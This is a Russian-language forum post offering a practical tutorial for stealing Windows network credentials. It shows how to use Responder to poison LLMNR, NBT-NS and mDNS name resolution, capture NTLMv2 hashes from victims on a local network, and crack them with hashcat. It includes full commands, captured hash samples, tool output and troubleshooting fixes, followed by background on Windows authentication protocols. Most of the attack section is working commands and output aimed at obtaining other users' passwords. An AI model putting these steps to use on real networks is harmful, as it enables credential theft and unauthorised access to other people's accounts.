Jump to content
Sign in to follow this  
mr.save

Взлом сетевой аутентификации Windows

Recommended Posts

В Windows реализовано много разнообразных протоколов аутентификации и различных сетевых служб.

Самые распространённые примеры сетевой аутентификации Windows это:

  • вход на совместную сетевую папку
  • вход в компьютер с учётной записью Microsoft

Для входа на другие компьютеры в сети Windows используются такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP — думаю, даже пользователям Windows с многолетним стажем эти термины непонятны. В этой статье с помощью программы Responder мы будем перехватывать хеши, используемые при аутентификации в Windows. Программа Responder весьма эффективна и для базового использования не требует знания и понимания методов аутентификации и сетевых служб Windows. Поэтому мы начнём с практики — с перехвата хеша аутентификации и его расшифровки, благодаря чему получим имя пользователя и пароль в операционных системах Windows. Тем не менее в конце статьи будет дана характеристика способов аутентификации и сетевых служб.

Кстати про сетевые службы. Responder использует принципы атаки «человек-посередине», когда атакующий выступает в роле посредника, ретранслятора процесса аутентификации между жертвой и сервером. Responder вместо привычного и хорошо знакомого многих ARP спуфинга эксплуатирует такие сетевые службы Windows как: LLMNR, NBT-NS и MDNS. Опять же, далеко не всем знакомы эти термины и принципы работы этих служб, но, к счастью, Responder и не требует их глубокого понимания, а их краткая характеристика также будет в конце статьи.

Responder это инструмент для выполнения атаки человек-посередине в отношении методов аутентификации в Windows. Эта программа включает в себя травитель LLMNR, NBT-NS и MDNS благодаря которому перенаправляется трафик с запросами и хешами аутентификации. Также в программу встроены жульнические серверы аутентификации HTTP/SMB/MSSQL/FTP/LDAP, которые поддерживают такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP и базовую HTTP аутентификацию, для которых Responder выполняет роль ретранслятора.

Итак, Responder умеет перенаправлять трафик жертвы на компьютер атакующего и выступает посредником во время аутентификации пользователя. Также Responder имеет встроенные сервера аутентификации.

Сбор информации о компьютерах Windows и их сетевых службах в локальной сети

Перед запуском полноценной атаки, давайте хотя бы вскользь начнём знакомство с некоторыми сетевыми службами Windows.

У Responder есть модуль Режима анализа. Этот модуль позволяет вам видеть NBT-NS, BROWSER, LLMNR, DNS запросы в сети без их травления какими либо ответами. Также вы можете пассивно составить карту доменов, серверов MSSQL и рабочих станций, увидеть, будет ли атака ICMP Редиректы иметь успех в вашей сети.

То есть мы сможем видеть сообщения сетевых служб Windows, но не будет отправлять в ответ на них фальшивые ответы для перенаправления трафика — мы будем только наблюдать.

Режим анализа включается опцией -A. Также в своих командах я буду использовать опцию -v для более подробного вывода.

Ещё нужно указать имя сетевого интерфейса — имена всех сетевых интерфейсов на своём компьютере можно посмотреть командой

ip a

Интерфейс нужно указывать с опцией -I, я буду использовать сетевой интерфейс с именем wlo1, следовательно, моя команда следующая:

sudo responder -I wlo1 -v -A

На первом экране нам показана сводка, какие именно травители, сервера аутентификации и опции включены:

FJVnkZUkEis.thumb.jpg.0c251e7ecc6712de11840b584c032e24.jpg

rTPsh6tJ3cg.jpg.49e182762527a8727b163de7988f2692.jpg

Рассмотрим некоторые записи:

Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.

Подтверждает, что Responder в режиме анализа и на запросы NBT-NS, LLMNR, MDNS не будут отправляться спуфленные данные для выполнения перенаправления трафика.

В следующей записи

[Analyze mode: ICMP] You can ICMP Redirect on this network.

говориться, что в этой сети будет работать ICMP Redirect.

В следующей записи:

[Analyze mode: NBT-NS] Request by 192.168.0.53 for WORKGROUP, ignoring

говориться, что получен запрос от протокола NBT-NS. Слово ignoring говорит о том, что никаких действий предпринято не было — то есть атакующим не был отправлен ответ.

Информация о запросе по протоколу LLMNR:

[Analyze mode: LLMNR] Request by 192.168.0.53 for HACKWARE-MIAL, ignoring

В следующих строках:

[LANMAN] Detected Domains: WORKGROUP (Unknown) [LANMAN] Detected Workstations/Servers on domain WORKGROUP: HACKWARE-MIAL (Unknown), HACKWARE-SERVER (Unknown), RT-N66U (Unknown), VYACHESLAV (Unknown)

говориться, что благодаря устаревшему протоколу LANMAN обнаружена рабочая группа с именем WORKGROUP, и что в этой рабочей группе найдены следующие рабочие станции и серверы: HACKWARE-MIAL, HACKWARE-SERVER, RT-N66U, VYACHESLAV — это имена компьютеров Windows в сети.

Пример записи о поступившем запросе по протоколу MDNS:

[Analyze mode: MDNS] Request by 192.168.0.53 for RT-N66U.local, ignoring

Для остановки программы нажмите CTRL+c.

Перехват имени пользователя и пароля Windows по сети

Теперь приступим к захвату хеша и затем его расшифровке.

Запускаем responder с набором опций -r -P -v -f, также указываем опцию -I с именем сетевого интерфейса:

sudo responder -I wlo1 -rPvf

Далее атака не требует каких-либо действий с нашей стороны.

QKjpj5J75o4.jpg.8711abcc1e29dceff89a7955eba6c850.jpg

Фраза Poisoned answer sent to означает, что был отправлен спуфленный ответ на запрос, результатом которого должно стать перенаправление трафика через наш компьютер. Примеры для всех трёх протоколов:

[*] [NBT-NS] Poisoned answer sent to 192.168.0.101 for name WORKGROUP (service: Domain Master Browser) [*] [MDNS] Poisoned answer sent to 192.168.0.101 for name RT-N66U.local [*] [LLMNR] Poisoned answer sent to 192.168.0.101 for name RT-N66U

Пример удачно перехваченного хеша:

[SMB] NTLMv2-SSP Client : 192.168.0.101[SMB] NTLMv2-SSP Username : 
HACKWARE-MIAL\MiAl[SMB] NTLMv2-SSP Hash : MiAl::HACKWARE-MIAL:288d066bf
1ea8419:D4048297363A9D99F036C400477A2876:0101000000000000
C0653150DE09D201FF2EA8266984B16A000000000200080053004D004200330001001E0
0570049004E002D00500052004800340039003200520051004100460056000400140053
004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004
800340039003200520051004100460056002E0053004D00420033002E006C006F006300
61006C000500140053004D00420033002E006C006F00630061006C0007000800C065315
0DE09D2010600040002000000080030003000000000000000010000000020000053CBEC
E34840779225947488DA4565049E6762328E5BBC245E6004DC851829D50A00100000000
0000000000000000000000000000900180063006900660073002F00520054002D004E00
3600360055000000000000000000

Из этих строк следует, что при подключении пользователя к сетевой общей папке по протоколу SMB использовалась аутентификация по протоколу NTLMv2-SSP. Имя компьютера HACKWARE-MIAL, а имя пользователя MiAl. Также дан перехваченный хеш, при расшифровке которого мы получим пароль пользователя.

Анализ результатов responder

Необязательно следить за выводом в консоль и копировать из неё хеши — все данные сохраняются в логи.

Файлы журналов располагаются в папке "logs/". Хеши будут сохранены и напечатаны только один раз на одного пользователя на один тип хеша. Будет выведен каждый хеш, если вы используете Вербальный режим, то есть если вы указали опцию -v.

  • Вся активность будет записана в файл Responder-Session.log
Режим анализа запишет свой журнал в Analyze-Session.log Травление будет записано в файл Poisoners-Session.log В Kali Linux и BlackArch эти файлы размещены в директории /usr/share/responder/logs/.

С помощью команды

responder-report

можно вывести краткий итог полученных данных: имена компьютеров и имена пользователей.

UlzmZaQfGCg.thumb.jpg.054043938b407baba0328b85cc00c358.jpg

SfxL_6Eo6Q8.jpg.f2452bafbe3b802f6ef18e7c5402cffd.jpg

А команда

sudo responder-dumphash

покажет захваченные хеши.

Обратите внимание, NTLMV2 хеши перечислены после фразы

  • Dumping NTLMV2 hashes:
А NTLMv1 идут после фразы NTLMv1: Dumping NTLMv1 hashes:

Некоторые хеши начинаются на имя пользователя, а затем через два двоеточия идёт имя компьютера:

MiAl::HACKWARE-MIAL:…………………...

В некоторых хешах после имени пользователя идёт имя рабочей группы — видимо, в том случае, если не получилось определить имя компьютера:

ShareOverlord::WORKGROUP:…………………...

Для аккаунтов Microsoft в качестве имени пользователя указывается email, а затем через два двоеточия идёт срока «MicrosoftAccount»:

XXXX@miloserdov.org::MicrosoftAccount:…………………...

Как взломать хеш NTLMv1/NTLMv2/LMv2

Нам необходимо взломать следующий хеш:

ShareOverlord::WORKGROUP:24108cef8a9dc2c9:6CFD8A3D59
D93ECF6551933F06AD24A6:0101000000000000F2AFFC5B40CAD
5017A22CEB2169142F40000000002000E004E004F004D0041005
4004300480001000A0053004D0042003100320004000A0053004
D0042003100320003000A0053004D0042003100320005000A005
3004D00420031003200080030003000000000000000000000000
000000007A5ED001DCD99403D273D180B6FBE7AC1AE2550011A9
10EA5B717776F355F630A0010000000000000000000000000000
000000009001E0063006900660073002F0056005900410043004
800450053004C004100560000000000

На странице примера хешей, хеш NetNTLMv1 / NetNTLMv1+ESS (режим hashcat 5500) показан так:

u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c

А NetNTLMv2 (режим hashcat 5600) показан так:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

Мой хеш заметно длиннее, и хотя responder-dumphash поместила этот хеш в группу NTLMV2, у меня возникли некоторые сомнения.

Перепроверяем:

hashid 
'ShareOverlord::WORKGROUP:24108cef8a9dc2c9:6CFD8A3D5
9D93ECF6551933F06AD24A6:0101000000000000F2AFFC5B40CAD5017A2
2CEB2169142F40000000002000E004E004F004D00410054004300480001
000A0053004D0042003100320004000A0053004D0042003100320003000
A0053004D0042003100320005000A0053004D0042003100320008003000
3000000000000000000000000000000007A5ED001DCD99403D273D180B6
FBE7AC1AE2550011A910EA5B717776F355F630A00100000000000000000
00000000000000000009001E0063006900660073002F005600590041004
3004800450053004C004100560000000000'
Analyzing 'ShareOverlord::WORKGROUP:24108cef8a9dc2c9:6CFD8A
3D59D93ECF
6551933F06AD24A6:0101000000000000F2AFFC5B40CAD5017A22CEB216
9142F40000000002000E004E004F004D00410054004300480001000A005
3004D0042003100320004000A0053004D0042003100320003000A005300
4D0042003100320005000A0053004D00420031003200080030003000000
000000000000000000000000007A5ED001DCD99403D273D180B6FBE7AC1
AE2550011A910EA5B717776F355F630A001000000000000000000000000
0000000000009001E0063006900660073002F0056005900410043004800
450053004C004100560000000000'
[+] NetNTLMv2

Проверяем ещё одной программой:

hashtag -sh 'ShareOverlord::WORKGROUP:24108cef8a9dc2c9:6CFD8A3D59D9
3ECF6551933F06AD24A6:0101000000000000F2AFFC5B40CAD5017A22CEB2169142
F40000000002000E004E004F004D00410054004300480001000A0053004D0042003
100320004000A0053004D0042003100320003000A0053004D004200310032000500
0A0053004D00420031003200080030003000000000000000000000000000000007A
5ED001DCD99403D273D180B6FBE7AC1AE2550011A910EA5B717776F355F630A0010
000000000000000000000000000000000009001E0063006900660073002F0056005
900410043004800450053004C004100560000000000' 
Hash: ShareOverlord::WORKGROUP:24108cef8a9dc2c9:6CFD8A3D59D93ECF655
1933F0
6AD24A6:0101000000000000F2AFFC5B40CAD5017A22CEB2169142F400000000020
00E004E004F004D00410054004300480001000A0053004D0042003100320004000A
0053004D0042003100320003000A0053004D0042003100320005000A0053004D004
20031003200080030003000000000000000000000000000000007A5ED001DCD9940
3D273D180B6FBE7AC1AE2550011A910EA5B717776F355F630A00100000000000000
00000000000000000000009001E0063006900660073002F00560059004100430048
00450053004C004100560000000000
[*] NetNTLMv2 - Hashcat Mode 5600
[*] NetNTLMv1-VANILLA / NetNTLMv1+ESS - Hashcat Mode 5500

То есть всё таки это хеш NetNTLMv2, режим Hashcat равен 5600.

Hashcat поддерживает следующие родственные хеши:

5500 | NetNTLMv1 | Сетевые протоколы 5500 | NetNTLMv1+ESS | Сетевые протоколы 5600 | NetNTLMv2 | Сетевые протоколы3000 | LM | Операционные системы 1000 | NTLM | Операционные системы

Для запуска атаки по маске для взлома NetNTLMv2 в Hashcat нужно выполнить команду вида:

hashcat -m 5600 -D 1,2 -a 3 'ХЕШ' МАСКА

Пример моей реальной команды:

hashcat --force --hwmon-temp-abort=100 -m 5600 -D 1,2 -a 3 -i --
increment-min 1 --increment-max 10 'ShareOverlord::WORKGROUP:241
08cef8a9dc2c9:6CFD8A3D59D93ECF655193
3F06AD24A6:0101000000000000F2AFFC5B40CAD5017A22CEB2169142F400000
00002000E004E004F004D00410054004300480001000A0053004D00420031003
20004000A0053004D0042003100320003000A0053004D0042003100320005000
A0053004D0042003100320008003000300000000000000000000000000000000
7A5ED001DCD99403D273D180B6FBE7AC1AE2550011A910EA5B717776F355F630
A0010000000000000000000000000000000000009001E0063006900660073002
F0056005900410043004800450053004C004100560000000000' ?a?a?a?a?a?
a?a?a?a?a

В этой команде:

  • hashcat — имя исполнимого файла. В Windows это может быть hashcat64.exe, например.
--force — игнорировать предупреждения --hwmon-temp-abort=100 — установка максимальной температуры, после которой будет прерван перебор, на 100 градусов Цельсия -m 5600 — тип хеша NetNTLMv2 -D 1,2 — означает использовать для взлома и центральный процессор, и видеокарту -a 3 — означает атаку по маске -i — означает постепенно увеличивать количество символов в генерируемых паролях --increment-min 1 — означает начать с длины маски равной единице --increment-max 10 — означает закончить перебор при длине маске равный десяти 'ShareOverlord::WORKGROUP:24108cef8a9dc2c9:6CFD8A3D59D93ECF6551933F06AD24A6:0101000000000000F2AFFC5B40CAD5017A22CEB2169142F40000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000000000007A5ED001DCD99403D273D180B6FBE7AC1AE2550011A910EA5B717776F355F630A0010000000000000000000000000000000000009001E0063006900660073002F0056005900410043004800450053004C004100560000000000' — хеш для взлома ?a?a?a?a?a?a?a?a?a?a — маска ?a в маске означает все символы из следующих наборов: abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

nJbCyVmNUjc.jpg.dc0f14c30e0028f7711c8fb9c77b3183.jpg

Обратите внимание на запредельную скорость брутфорса этого алгоритма: 276.9 MH/s. За примерно 0 секунд (программа не показывает доли секунды) перебрано 9,375,744 паролей. Это результат на ноуте с GeForce GTX 1050 Ti — на настольных компьютерах с топовой видеокартой результаты будут ещё более впечатляющими. Можно констатировать — если хеш перехвачен, то он практически наверняка будет взломан, причём довольно быстро.

Для взлома NTLMv2 по словарю в Hashcat запустите команду вида:

hashcat -m 5600 -D 1,2 -a 0 'ХЕШ' /ПУТЬ/ДО/СЛОВАРЯ

Новое в этой команде:

  • -a 0 — означает атаку по словарю
/ПУТЬ/ДО/СЛОВАРЯ

Проблемы запуска responder

check permissions or other servers running

При запуске Режима анализа вы могли увидеть на скриншоте надпись:

[!] Error starting TCP server on port 80, check permissions or other servers running.

Дело в том, что Responder для выполнения функций ретранслятора прослушивает ряд портов, а именно следующие порты: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 и Multicast UDP 5553.

Соответственно, эти порты не должны быть заняты. У меня был запущен веб-сервер, который прослушивал 80й порт, поэтому и возникла эта ошибка. Убедитесь, что в вашей системе все эти порты свободны.

Если на вашей системе запущена Samba, остановите smbd и nmbd и все другие службы, прослушивающие указанные порты.

В Ubuntu по умолчанию запущена служба, которая прослушивает 53 порт, для исправления откройте для редактирования файл /etc/NetworkManager/NetworkManager.conf и закомментируйте строку:

dns=dnsmasq

Затем остановите dnsmasq командой:

sudo killall dnsmasq -9

ValueError: invalid literal for int() with base 10

Если в /etc/resolv.conf в качестве DNS серверов указаны IPv6 адреса, например:

nameserver 2001:4860:4860::8888 nameserver 2001:4860:4860::8844

то при запуске Responder в режиме анализа, например:

sudo responder -I wlo1 -A

Возникнет ошибка:

Traceback (most recent call last): File "Responder.py", 
line 340, in <module> main() File "Responder.py", 
line 250, in main from poisoners.LLMNR import LLMNR File "/usr/share/responder/poisoners/LLMNR.py", 
line 55, in <module> IsICMPRedirectPlausible(settings.Config.Bind_To) File "/usr/share/responder/poisoners/LLMNR.py", 
line 49, in IsICMPRedirectPlausible if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: File "/usr/share/responder/utils.py", 
line 78, in IsOnTheSameSubnet ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) ValueError: invalid literal for int() with base 10: '2001:4860:4860::8888'

Для её исправления откройте файл LLMNR.py (в Kali Linux и в BlackArch этот файл размещён по пути /usr/share/responder/poisoners/LLMNR.py), найдите там строку

if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:

и замените её на строку:

if x != "127.0.0.1" and (":" not in x) and IsOnTheSameSubnet(x,IP) is False:

Продвинутые возможности Responder

Мы рассмотрели такую функцию Responder как перехват хеша аутентификации. У программы имеются и другие функции и, возможно, будет написана вторая часть этой инструкции. 

Изменить настройки программы вы можете в файле /usr/share/responder/Responder.conf

Сетевые технологии Windows

Протоколы аутентификации Windows

NTLMv1

NTLM (NT LAN Manager) — протокол сетевой аутентификации, разработанный фирмой Microsoft для Windows NT.

NTLM — это результат дальнейшего развития LANMAN.

Никакой официальной информации о нём не поступало, но многое выяснила группа разработчиков Samba во время разработки своей программы.

Для передачи на сервер аутентификации (англ. Primary Domain Controler (PDC) — главный контроллер домена) имени пользователя, хэша пароля и мандата домена в Windows 98 применяется протокол LANMAN, а в Windows NT — протокол NTLM. Windows 2000 и Windows XP по умолчанию делают попытку аутентификации Kerberos (только в случае, когда станция является членом домена), в то же время они сохраняют обратную совместимость с аутентификацией NTLM.

NTLM - это протокол проверки подлинности запроса и ответа, который использует три сообщения для аутентификации клиента в среде, ориентированной на соединение и четвертое дополнительное сообщение, если требуется проверка целостности.

  • 1. Пользователь устанавливает подключение(сетевой путь) к серверу и отправляет NEGOTIATE_MESSAGE со своими возможностями.
2. Сервер отвечает сообщением CHALLENGE_MESSAGE, которое используется для идентификации (установления личности) клиента. 3. Клиент отвечает на сообщение при помощи AUTHENTICATE_MESSAGE.

Протокол NTLM использует одно или оба значения хешированных паролей, оба из них хранятся на сервере (или контроллере домена), которые из-за отсутствия привязки эквивалентны паролю. Это означает, что хешированное значение с сервера может быть использовано для аутентификации без фактического знания пароля. Эти два значения представляют собой LM Hash (функции, основанные на стандарте шифрования данных для первых 14 символов пароля преобразованные в традиционную 8 битную кодировку для языка ПК) и NT Hash (значение функции MD4 от переведенного в кодировку little endian UTF-16 Unicode пароля). Оба хеша имеют длину в 16 байт (128 бит) каждый.

Протокол NTLM использует одну из двух односторонних функций, зависящих от версии NTLM. NT LanMan и NTLM версии 1 используют функцию LanMan на основе стандартного шифрования данных (LMOWF), в то время как NTLMv2 использует одностороннюю функцию NT MD4 (NTOWF[1][2]).

Проверка подлинности NTLM по-прежнему поддерживается и обязательна для использования на системах, работающих под управлением Windows NT Server 4.0 или более ранних версий, а также для компьютеров, настроенных как члены рабочих групп. Проверка подлинности NTLM также используется для проверки подлинности при аутентификации на изолированных системах. Начиная с Windows 2000, проверка подлинности Kerberos версии 5 является предпочтительным методом проверки подлинности для сред Active Directory.

NTLMv2

NTLMv2 (NTLM версии 2) — встроенный в операционные системы семейства Microsoft Windows протокол сетевой аутентификации. Широко применяется в различных сервисах на их базе. Изначально был предназначен для повышения безопасности аутентификации путём замены устаревших LM и NTLM v1. NTLMv2 был введён начиная с Windows NT 4.0 SP4 и используется версиями Microsoft Windows вплоть до Windows 10 включительно. С самого изобретения протоколы NTLMv1 и NTLMv2 подвергались множеству нападений и демонстрировали широкий спектр серьёзных уязвимостей.

В схеме аутентификации, реализованной при помощи SMB или SMB2 сообщений, вне зависимости от того, какой вид диалекта аутентификации будет использован (LM, LMv2, NTLM, NTLM2, NTLMv2), процесс аутентификации происходит следующим образом:

  • Клиент пытается установить соединение с сервером и посылает запрос, в котором информирует сервер, на каких диалектах он способен произвести аутентификации, например: LM, NTLM, NTLM2, NTLMv2. Следовательно, диалект аутентификации LMv2 между клиентом и сервером исключается.
Сервер из полученного от клиента списка диалектов (по умолчанию) выбирает наиболее защищённый диалект (например, NTLMv2), затем отправляет ответ клиенту. Клиент, определившись с диалектом аутентификации, пытается получить доступ к серверу и посылает запрос NEGOTIATE_MESSAGE. Сервер получает запрос от клиента и посылает ему ответ CHALLENGE_MESSAGE, в котором содержится случайная (random) последовательность из 8 байт. Она называется Server Challenge. Клиент, получив от сервера последовательность Server Challenge, при помощи своего пароля производит шифрование этой последовательности, а затем посылает серверу ответ AUTHENTICATE_MESSAGE, который содержит 24 байта. Сервер, получив ответ, производит ту же операцию шифрования последовательности Server Challenge, которую произвёл клиент. Затем, сравнив свои результаты с ответом от клиента, на основании совпадения разрешает или запрещает доступ.

LMv2

LM-хеш, или LAN Manager хеш, — один из форматов, используемых Microsoft LAN Manager и версиями Microsoft Windows до Windows Vista для хранения пользовательских паролей длиной менее 15 символов. Это единственный вид хеширования, используемый в Microsoft LAN Manager, откуда и произошло название, и в версиях Windows до Windows Me. Он также поддерживается и более поздними версиями Windows для обратной совместимости, хотя в Windows Vista его приходится включать вручную.

Эволюция алгоритмов аутентификации LM и NTLM: LM → LMv2 → NTLM → NTLM2 → NTLMv2

Сетевые службы Windows

Теперь рассмотрим сетевые службы Windows, эксплуатируя которые становится возможным выполнить перенаправление трафика на компьютер атакующего.

LLMNR

Link-Local Multicast Name Resolution (LLMNR) — это протокол, основанный на формате пакета системы доменных имён (DNS), который позволяет хостам как IPv4, так и IPv6 выполнять разрешение имён для хостов на одном и том же локальном канале. Он включён в Windows Vista, Windows Server 2008, Windows 7, Windows 8 и Windows 10. Он также реализован с помощью systemd-resolved в GNU/Linux.

Детали протокола

Отвечая на запросы, респонденты прослушивают порт UDP 5355 по следующему адресу многоадресной рассылки:

  • IPv4 - 224.0.0.252, MAC адрес 01-00-5E-00-00-FC
IPv6 - FF02:0:0:0:0:0:1:3 (эту нотацию можно сократить до FF02::1:3), MAC адрес 33-33-00-01-00-03

Ответчики также прослушивают TCP-порт 5355 по одноадресному (unicast) адресу, который хост использует для ответа на запросы.

NBT-NS

NBT-NS это NetBIOS-NS, то есть NetBIOS Name Service.

NetBIOS Name Service является одним из трёх сервисов NetBIOS: служба имён (NetBIOS-NS) для регистрации и разрешения имён. 

Чтобы начать сеансы или распространять дейтаграммы, приложение должно зарегистрировать своё имя NetBIOS, используя службу имён. Имена NetBIOS имеют длину 16 октетов и различаются в зависимости от конкретной реализации. Часто 16-й октет, называемый суффиксом NetBIOS, обозначает тип ресурса и может использоваться для сообщения другим приложениям, какой тип услуг предлагает система. В NBT служба имён работает на UDP-порту 137 (TCP-порт 137 также может использоваться, но редко задействуется).

Примитивы службы имён, предлагаемые NetBIOS:

  • Add name (Добавить имя) — регистрирует имя NetBIOS.
Add group name (Добавить имя группы) — регистрирует NetBIOS-имя группы. Delete name (Удалить имя) — отменяет регистрацию имени NetBIOS или имени группы. Find name (Найти имя) — поиск имени NetBIOS в сети.

Разрешение имён NetBIOS не поддерживается Microsoft для Интернет-протокола версии 6 (IPv6).

MDNS

Multicast DNS — это Многоадресный DNS.

В компьютерных сетях протокол многоадресной DNS (mDNS) разрешает имена хостов в IP-адреса в небольших сетях, которые не включают локальный сервер имён. Это сервис с нулевой конфигурацией, использующий по существу те же программные интерфейсы, форматы пакетов и рабочую семантику, что и одноадресная система доменных имён (DNS). Хотя Стюарт Чешир разработал mDNS как самостоятельный протокол, он может работать совместно со стандартными DNS-серверами.

Протокол mDNS опубликован как RFC 6762, использует пакеты многоадресного протокола дейтаграмм пользователя (UDP) и используется пакетами программного обеспечения Apple Bonjour и Avahi с открытым исходным кодом. Android содержит реализацию mDNS. mDNS также был реализован в Windows 10, первоначально применение ограничивалось обнаружением сетевых принтеров, впоследствии стал способным также разрешать имена хостов.

mDNS может работать в сочетании с DNS Service Discovery (DNS-SD), сопутствующим методом нулевой конфигурации.

Когда клиенту mDNS необходимо разрешить имя хоста, он отправляет сообщение запроса в многоадресной IP рассылке, в которой просит хост, имеющий это имя, идентифицировать себя. Затем этот целевой компьютер многоадресно передаёт сообщение, которое включает его IP-адрес. Все машины в этой подсети могут затем использовать эту информацию для обновления своих кэшей mDNS. Любой хост может отказаться от своей заявки на имя, отправив ответный пакет с временем жизни (TTL), равным нулю.

По умолчанию mDNS разрешает только имена хостов, относящихся к доменам верхнего уровня (TLD) .local. Это может вызвать проблемы, если этот домен включает хосты, которые не реализуют mDNS, но которые можно найти через обычный DNS-сервер одноадресной передачи. Разрешение таких конфликтов требует изменений конфигурации сети, которые нарушают цель нулевой конфигурации.

Серверы Windows

HTTP

Цитата

Это веб-сервер.

SMB

Цитата

Протокол SMB обеспечивает работу файлового сервера в локальной сети.

MSSQL

Цитата

Система управления базами данных.

FTP

Цитата

Протокол обеспечивающий работу файлового сервера.

LDAP

Цитата

LDAP (англ. Lightweight Directory Access Protocol — «легкорасширяемый протокол доступа к каталогам») — протокол прикладного уровня для доступа к службе каталогов X.500, разработанный IETF как облегчённый вариант разработанного ITU-T протокола DAP. LDAP — относительно простой протокол, использующий TCP/IP и позволяющий производить операции аутентификации (bind), поиска (search) и сравнения (compare), а также операции добавления, изменения или удаления записей. Обычно LDAP-сервер принимает входящие соединения на порт 389 по протоколам TCP или UDP. Для LDAP-сеансов, инкапсулированных в SSL, обычно используется порт 636.

 

Share this post


Link to post

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...